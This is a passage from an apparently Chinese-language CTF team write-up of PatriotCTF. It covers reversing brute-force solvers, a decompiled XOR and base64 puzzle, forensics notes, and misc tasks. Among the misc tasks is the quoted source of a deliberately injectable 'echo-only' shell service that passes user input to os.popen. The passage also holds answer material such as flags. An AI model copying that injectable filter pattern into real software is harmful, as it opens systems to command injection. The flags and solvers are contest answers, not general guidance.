result = open('flag.txt.enc', 'rb').read()
if result[i] == ch:
flag += bytes([byte])
break
print(flag)
AI rnd
執行檔功能
會把輸入雜湊後(?,輸出
解法
也是一樣diffusion沒有做好,但相同字元可能會出現分歧,但我們可以猜測flag的字元
import subprocess
from tqdm import *
elf_path = "./ai_rnd"
flag = ''
cur = 'a5 39 24 90 a8 a5 88 77 26 e4 3c 14 03 1e ba 3c 7d bb dc d6 aa 90 50 c9 0f aa dd 57 33 e1 a4 c7'.split()
for i in range(64):
a = []
for byte in range(0x20, 0x7f):
process = subprocess.Popen(
[elf_path],
stdin=subprocess.PIPE,
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
text=True
)
stdout, stderr = process.communicate(input=flag + chr(byte))
if stdout.split()[i] == cur[i]:
print(flag)
a.append(chr(byte))
if len(a) > 1:
print(a)
i = input('what: ')
flag += i
else:
flag += a[0]
password_protector
- Solver: wang 給一個 passwordProtector.pyc
丟 https://pylingual.io/ 成功反編譯
import os
import secrets
from base64 import *
def promptGen():
flipFlops = lambda x: chr(ord(x) + 1)
with open('topsneaky.txt', 'rb') as f:
first = f.read()
bittys = secrets.token_bytes(len(first))
onePointFive = int.from_bytes(first) ^ int.from_bytes(bittys)
second = onePointFive.to_bytes(len(first))
third = b64encode(second).decode('utf-8')
bittysEnc = b64encode(bittys).decode('utf-8')
fourth = ''
for each in third:
fourth += flipFlops(each)
fifth = f"Mwahahaha you will n{fourth[0:10]}ever crack into my pass{fourth[10:]}word, i'll even give you the key and the executable:::: {bittysEnc}"
return fifth
def main():
print(promptGen())
if __name__ == '__main__':
main()
可知題目上的亂碼可得出fifth、fourth,再依序解出third、second、first
exploit
bittysEnc = "Zfo5ibyl6t7WYtr2voUEZ0nSAJeWMcN3Qe3/+MLXoKL/p59K3jgV"
fourth = "Ocmu{9gtufMmQg8G0eCXWi3MY9QfZ0NjCrXhzJEj50fumttU0ymp"
fifth = f"Mwahahaha you will n{fourth[0:10]}ever crack into my pass{fourth[10:]}word, i'll even give you the key and the executable:::: {bittysEnc}"
third = ""
for i in fourth:
third += chr(ord(i)-1)
third = "Nbltz8fsteLlPf7F/dBWVh2LX8PeY/MiBqWgyIDi4/etlssT/xlo"
from base64 import *
bitty = b64decode(bittysEnc)
second = b64decode(third)
onePointFive = int.from_bytes(second)
from Crypto.Util.number import long_to_bytes
first = long_to_bytes(onePointFive ^ int.from_bytes(bitty))
print(first)
puzzle_room
- Solver: wang 三百多行python,執行起來在是走一個迷宮
從以下關鍵程式碼,得知走過的每個單字連在一起是key,如果走正確的路徑就可以AES解密出flag
key = "".join([try_get_tile(x)[0] for x in path.path_history])
enc_flag = b"FFxxg1OK5sykNlpDI+YF2cqF/tDem3LuWEZRR1bKmfVwzHsOkm+0O4wDxaM8MGFxUsiR7QOv/p904UiSBgyVkhD126VNlNqc8zNjSxgoOgs="
obj = AESCipher(key)
dec_flag = obj.decrypt(enc_flag)
if "pctf" in dec_flag:
從code review得知走的路徑有很多限制、規則,整理之後發現路徑會是 vulture 開頭,經過47個單字到達Shrine,暴破這47個單字找到正確的路徑
exploit
import itertools
from Crypto.Cipher import AES
import base64
import hashlib
class AESCipher(object):
def __init__(self, key):
self.bs = AES.block_size
self.key = hashlib.sha256(key.encode()).digest()
def decrypt(self, enc):
enc = base64.b64decode(enc)
iv = enc[: AES.block_size]
cipher = AES.new(self.key, AES.MODE_CBC, iv)
return AESCipher._unpad(cipher.decrypt(enc[AES.block_size :])).decode("utf-8")
@staticmethod
def _unpad(s):
return s[: -ord(s[len(s) - 1 :])]
# Known part of the key and encrypted flag
prefix = "vulture"
suffix = "Shrine"
words = ["urn", "arch", "snake", "bug", "plant", "staff", "foot"]
enc_flag = b"FFxxg1OK5sykNlpDI+YF2cqF/tDem3LuWEZRR1bKmfVwzHsOkm+0O4wDxaM8MGFxUsiR7QOv/p904UiSBgyVkhD126VNlNqc8zNjSxgoOgs="
# Brute force all possible combinations of 4 to 7 words in between
for length in range(4, 8):
for combo in itertools.permutations(words, length):
key = prefix + ''.join(combo) + suffix
obj = AESCipher(key)
try:
dec_flag = obj.decrypt(enc_flag)
if "pctf" in dec_flag:
print("Key found:", key)
print("Flag:", dec_flag)
break
except:
continue
Forensics
Bad Blood
拿到一個windows log file,要做一系列問答,基本上就是問腳本類型/protocol跟C2網路,但從頭到尾只注意到這個REPO:https://github.com/IAMinZoho/OFFSEC-PowerShell/,關於腳本的問題就直接把上面的東西list出來爆破就有。
Protocol:猜到Winrm, C2架構一樣爆…壯觀的爆破場面
Flag: pctf{3v3nt_l0gs_reve4l_al1_a981eb}
A Dire Situation
會拿到一個budget.wim的檔案,用7z把他拆開會拿到一個budget跟一個budget
拿streamingjpegjfif上網查一下會發現一種叫做mjpeg的檔案類型,簡單來說就是類似影片,把jfif stream起來
利用VCL Media Player跑起來發現畫面很短,拚手速:
Flag: pctf{alternate_d4t4_str3aming_&_chill}
Misc
Really Only Echo
- Solver: yuchan & whale 題目說限制只能用echo
首先看看原始碼
#!/usr/bin/python3
import os,pwd,re
import socketserver, signal
import subprocess
listen = 3333
blacklist = os.popen("ls /bin").read().split("\n")
blacklist.remove("echo")
#print(blacklist)
def filter_check(command):
user_input = command
parsed = command.split()
#Must begin with echo
if not "echo" in parsed:
return False
else:
if ">" in parsed:
#print("HEY! No moving things around.")
req.sendall(b"HEY! No moving things around.\n\n")
return False
else:
parsed = command.replace("$", " ").replace("(", " ").replace(")", " ").replace("|"," ").replace("&", " ").replace(";"," ").replace("<"," ").replace(">"," ").replace("`"," ").split()
#print(parsed)
for i in range(len(parsed)):
if parsed[i] in blacklist:
return False
return True
def backend(req):
req.sendall(b'This is shell made to use only the echo command.\n')
while True:
#print("\nThis is shell made to use only the echo command.")
req.sendall(b'Please input command: ')
user_input = req.recv(4096).strip(b'\n').decode()
print(user_input)
#Check input
if user_input:
if filter_check(user_input):
output = os.popen(user_input).read()
req.sendall((output + '\n').encode())
else:
#print("Those commands don't work.")
req.sendall(b"HEY! I said only echo works.\n\n")
else:
#print("Why no command?")
req.sendall(b"Where\'s the command.\n\n")
class incoming(socketserver.BaseRequestHandler):
def handle(self):
signal.alarm(1500)
req = self.request
backend(req)
class ReusableTCPServer(socketserver.ForkingMixIn, socketserver.TCPServer):
pass
def main():
uid = pwd.getpwnam('ctf')[2]
os.setuid(uid)
socketserver.TCPServer.allow_reuse_address = True
server = ReusableTCPServer(("0.0.0.0", listen), incoming)
server.serve_forever()
if __name__ == '__main__':
main()
算了,直接餵給AI
然後注意到code其中一行這樣寫
parsed = command.replace("$", " ").replace("(", " ").replace(")", " ").replace("|"," ").replace("&", " ").replace(";"," ").replace("<"," ").replace(">"," ").replace("`"," ").split()
看來是會轉義的符號,一樣餵給AI看看有什麼結論
嘗試一下他的建議
有flag.txt但是不知道怎麼看內容,於是去DC找人協助
FLAG: pctf{echo_is_such_a_versatile_command}
RTL_Warmup
- Solver: wang 給一個檔案 flag.vcd
$timescale 1 ps $end
$scope module uut $end
$var wire 1 ! clock $end
$var wire 8 " dout $end
$var wire 8 # din $end
$upscope $end
$enddefinitions $end
$dumpvars
0!
b01010000 "
b01010000 #
$end
#50000000
1!
#50000000
#100000000
0!
#100000000
b01000011 "
b01000011 #
#150000000
1!
#150000000
#200000000
0!
#200000000
(中略)
b01111101 "
b01111101 #
#2750000000
1!
#2750000000
#2800000000
0!
#2800000000
我看不懂RTL code,但根據chatGPT可知其中包含模擬的輸出數值,那些二進制數值對應於信號” dout和# din的變化
用chatGPT將那些二進制轉 ASCII 就是flag
b01010000 "
b01010000 #
=> ASCII P
以此類推
EmojiStack
- Solver: wang 題目大致如下:
👉: Move the stack pointer one cell to the right
👈: Move the stack pointer one cell to the lef
👍: Increment the current cell by one, bounded by 255
👎: Decrement the current cell by one, bounded by 0
💬: Print the ASCII value of the current cell
🔁##: Repeat the previous instruction 0x## times
The Emoji Stack is 256 cells long, with each cell supporting a value between 0 - 255.
給輸出flag的emoji
👉👉👉👉👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👉🔁08👍🔁34👈👈👈👈👈👈👈👈👈👈👍🔁48👉🔁15👍🔁5e👈🔁07👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👉🔁02👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👈👈👈👈👈👈👈👈👈👈👈👈👈👈👈👈👈👈👍🔁42👉🔁02👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👉🔁17👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👈🔁14👍🔁20👉🔁06👍🔁51👉🔁0c👍🔁34👉👉👍🔁46👈🔁14👍🔁4d👈🔁01👍🔁51👉🔁04👍🔁20👉🔁03👍🔁2f👉👉👉👉👉👉👉👉👍🔁4d👈🔁17👍🔁42👉👉👉👉👉👉👉👉👉👉👉👉👉👉👉👉👉👉👉👉👉👉👉👉👉👉👉👉👉👉👉👉👉👉👉👍🔁7c👈👈👈👈👈👈👈👈👈👈👈👈👈👈👈👈👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👉🔁0c👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👉👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👈👈👈👈👈👈👈👈👈👈👈👈👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👉🔁0c👍🔁32👈👈👈👈👈👈👈👈👈👈👈👈👈👈👈👈👈👈👈👈👈👈👈👈👈👈👈👈👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👉🔁04👍🔁5e👉👉👉👉👉👉👉👉👉👉👉👉👉👉👉👍🔁47👈🔁0f👍🔁46👉👉👉👉👉👉👉👉👉👉👉👉👉👉👉👉👉👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👈🔁03👍🔁20👈🔁08👍🔁5e👉🔁10👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👈🔁1d👍🔁40👉🔁10👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👉👉👉👉👍🔁5e👈👈👈👈👈👈👈👈👈👈👈👈👈👈👈👈👈👈👈👈👈👈💬👉💬👉💬👉💬👉💬👉💬👉💬👉💬👉💬👉💬👉💬👉💬👉💬👉💬👉💬👉💬👉💬👉💬👉💬👉💬👉💬👉💬👉💬👉💬👉💬👉💬👉💬👉💬👉💬👉💬👉💬👉💬👉💬👉💬👉💬👉💬
總之,問就是工人智慧就不說我還看錯,🔁##是先執行一次前面指令,再重複0x##次,我都只重複0x##次害我多工人智慧兩次
making-baking-pancakes
- Solver: wang
忘記截圖連線畫面
連remote解決challenge一千次,每次challenge接收一串被base64 encode n+1次的字串,decode一次後字串末尾會有數字n表示要再decode n 次。
exploit
from pwn import *
import base64
r = remote('chal.pctf.competitivecyber.club', 9001)
def decode_challenge(challenge, iterations):
decoded = challenge
for _ in range(iterations):
decoded = base64.b64decode(decoded).decode()
return decoded
r.recvlines(10)
for i in range(1, 1001):
challenge = r.recvline().strip().decode().split(': ')[1]
challenge = base64.b64decode(challenge).decode()
n = int(challenge.split('|')[1])
decoded = decode_challenge(challenge, n)
response = ""
response += decoded
response += '|'
response += str(i)
r.sendline(response.encode())
print(response)
r.interactive()
r.close()